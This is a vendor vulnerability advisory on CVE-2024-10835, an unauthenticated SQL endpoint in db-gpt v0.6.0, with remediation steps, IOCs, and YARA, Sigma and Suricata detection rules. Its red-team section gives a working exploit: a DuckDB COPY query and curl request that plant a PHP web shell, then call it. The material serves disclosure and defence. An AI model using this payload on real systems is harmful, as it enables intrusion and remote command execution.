CVE-2024-10835
Executive Summary
CVE-2024-10835 is a critical vulnerability in the eosphoros-ai/db-gpt project, specifically in version v0.6.0. The vulnerability resides in the web API endpoint POST /api/v1/editor/sql/run, which allows unauthenticated execution of arbitrary SQL queries. Due to the lack of access control, an attacker can leverage DuckDB SQL features to perform arbitrary file writes on the victim's file system, potentially leading to Remote Code Execution (RCE). The CVSS score is 9.1 (Critical), and no patch is currently available. This vulnerability is particularly dangerous because it can be exploited remotely without authentication, and the impact includes full compromise of confidentiality, integrity, and availability.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects the Python package db-gpt (eosphoros-ai/db-gpt). The package is available on PyPI. Users should verify they are not running version v0.6.0 and monitor for updates. The lack of access control in the API endpoint indicates a fundamental security flaw in the application's design.
CVSS Breakdown & Threat Level
- CVSS Score: 9.1 (Critical)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: High (C:H)
- Integrity Impact: High (I:H)
- Availability Impact: High (A:H)
The threat level is critical due to the ease of exploitation and the potential for full system compromise.
Deep Dive & Mechanics
The vulnerability is in the POST /api/v1/editor/sql/run endpoint of the db-gpt application. This endpoint is designed to allow users to run SQL queries against a DuckDB database. However, there is no authentication or authorization check, meaning any unauthenticated attacker can send requests to this endpoint.
DuckDB is an in-process SQL OLAP database management system. It supports various SQL extensions, including functions that can read and write files on the file system. For example, DuckDB's COPY statement can be used to write query results to a file. An attacker can craft a malicious SQL query that uses DuckDB's file write capabilities to write arbitrary content to any location on the file system that the application has write access to.
For instance, an attacker could write a web shell to the application's web root, or overwrite configuration files to achieve Remote Code Execution. The lack of input validation and access control makes this a straightforward exploit.
Vulnerable vs. Patched Code
Vulnerable Code (v0.6.0): The vulnerable endpoint likely has no authentication middleware and directly executes the SQL query without sanitization.
# Example of vulnerable code (hypothetical)
@app.route('/api/v1/editor/sql/run', methods=['POST'])
def run_sql():
data = request.get_json()
sql = data.get('sql')
# No authentication check
# No input validation
result = duckdb.execute(sql)
return jsonify(result)
Patched Code (Hypothetical): A patched version would include authentication, authorization, and input validation. It would also restrict the SQL commands that can be executed, preventing dangerous operations like file writes.
# Example of patched code (hypothetical)
@app.route('/api/v1/editor/sql/run', methods=['POST'])
@login_required
def run_sql():
data = request.get_json()
sql = data.get('sql')
# Validate user permissions
if not current_user.can_execute_sql():
abort(403)
# Sanitize input to prevent dangerous operations
if not is_safe_sql(sql):
abort(400)
result = duckdb.execute(sql)
return jsonify(result)
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy a vulnerable instance of db-gpt v0.6.0 in a controlled environment.
- Ensure the application is accessible over the network.
Exploitation Steps:
- Identify the target endpoint:
POST /api/v1/editor/sql/run. - Craft a malicious SQL query to write a file. For example, to write a PHP web shell:
COPY (SELECT '<?php system($_GET["cmd"]); ?>') TO '/var/www/html/shell.php' (FORMAT CSV); - Send the request using curl:
curl -X POST http://target:5000/api/v1/editor/sql/run \ -H "Content-Type: application/json" \ -d '{"sql": "COPY (SELECT '\''<?php system($_GET[\"cmd\"]); ?>'\'') TO '\''/var/www/html/shell.php'\'' (FORMAT CSV);"}' - Access the web shell:
http://target/shell.php?cmd=id.
Blue Team
Detection:
- Monitor for unusual SQL queries in application logs, especially those containing
COPY,TO, or file paths. - Alert on requests to
/api/v1/editor/sql/runfrom unauthenticated sources. - Use network monitoring to detect outbound connections from the application server.
Mitigation:
- Immediately restrict access to the vulnerable endpoint using a web application firewall (WAF) or reverse proxy.
- Implement authentication and authorization for all API endpoints.
- Apply the principle of least privilege to the database user.
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/api/v1/editor/sql/runwith JSON payloads containing SQL queries. - Unusual file creation in web-accessible directories (e.g.,
.php,.asp,.jspfiles).
- HTTP POST requests to
- File System IOCs:
- Unexpected files in
/var/www/html/,/tmp/, or other writable directories. - Files with suspicious content, such as web shells.
- Unexpected files in
- Log IOCs:
- Application logs showing SQL queries with
COPYorTOstatements. - Access logs showing repeated requests to the vulnerable endpoint from the same IP.
- Application logs showing SQL queries with
Detection Engineering
YARA Rule
rule CVE_2024_10835_SQL_Injection {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-10835"
author = "Valters IT"
date = "2024-01-01"
reference = "CVE-2024-10835"
strings:
$sql_copy = /COPY\s*\(.*\)\s*TO\s*['"][^'"]+['"]/ nocase
$sql_write = /WRITE\s*\(/ nocase
$endpoint = "/api/v1/editor/sql/run"
condition:
any of ($sql_copy, $sql_write) and $endpoint
}
Sigma Rule
title: CVE-2024-10835 SQL Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects SQL injection attempts targeting the db-gpt vulnerable endpoint
author: Valters IT
date: 2024/01/01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/api/v1/editor/sql/run'
cs-uri-query|contains:
- 'COPY'
- 'TO'
condition: selection
falsepositives:
- Legitimate administrative use (if any)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-10835 SQL Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/v1/editor/sql/run"; http_uri; content:"COPY"; http_client_body; content:"TO"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the vulnerable endpoint by blocking access to
/api/v1/editor/sql/runat the network level (e.g., using a WAF or firewall). - Implement authentication for all API endpoints. Ensure that only authorized users can execute SQL queries.
- Apply input validation to restrict SQL commands to safe operations (e.g., SELECT only, no file write operations).
Long-term Fix:
- Upgrade to a patched version of db-gpt once available.
- Conduct a security audit of the application to identify and fix similar vulnerabilities.
- Implement a secure coding policy that includes mandatory authentication and input validation for all API endpoints.
Workarounds:
- If the application is not critical, consider taking it offline until a patch is available.
- Use a reverse proxy to add authentication and rate limiting to the vulnerable endpoint.
Valters IT
Securing Your Digital Frontier